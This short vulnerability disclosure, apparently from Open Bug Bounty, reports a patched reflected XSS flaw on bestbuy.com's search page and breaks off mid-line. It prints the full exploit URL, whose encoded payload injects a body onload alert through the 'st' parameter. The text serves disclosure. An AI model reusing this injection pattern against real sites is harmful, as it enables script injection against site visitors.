bestbuy.com XSS vulnerability

Vulnerable URL: https://www.bestbuy.com/site/searchpage.jsp?st=%3C%2Ftitle%3E%3CBODY%2Fonload%3Dalert%28%22openbugbounty%22%29%3E%3Cscript%3E%281%29%3C%2Fscript%3E&dyncharset=UTF-8=pcat17071=page=Global=1====n=true=y=All+Categories=960=keys Details: Description| Value ---|--- Patched:| Yes, at...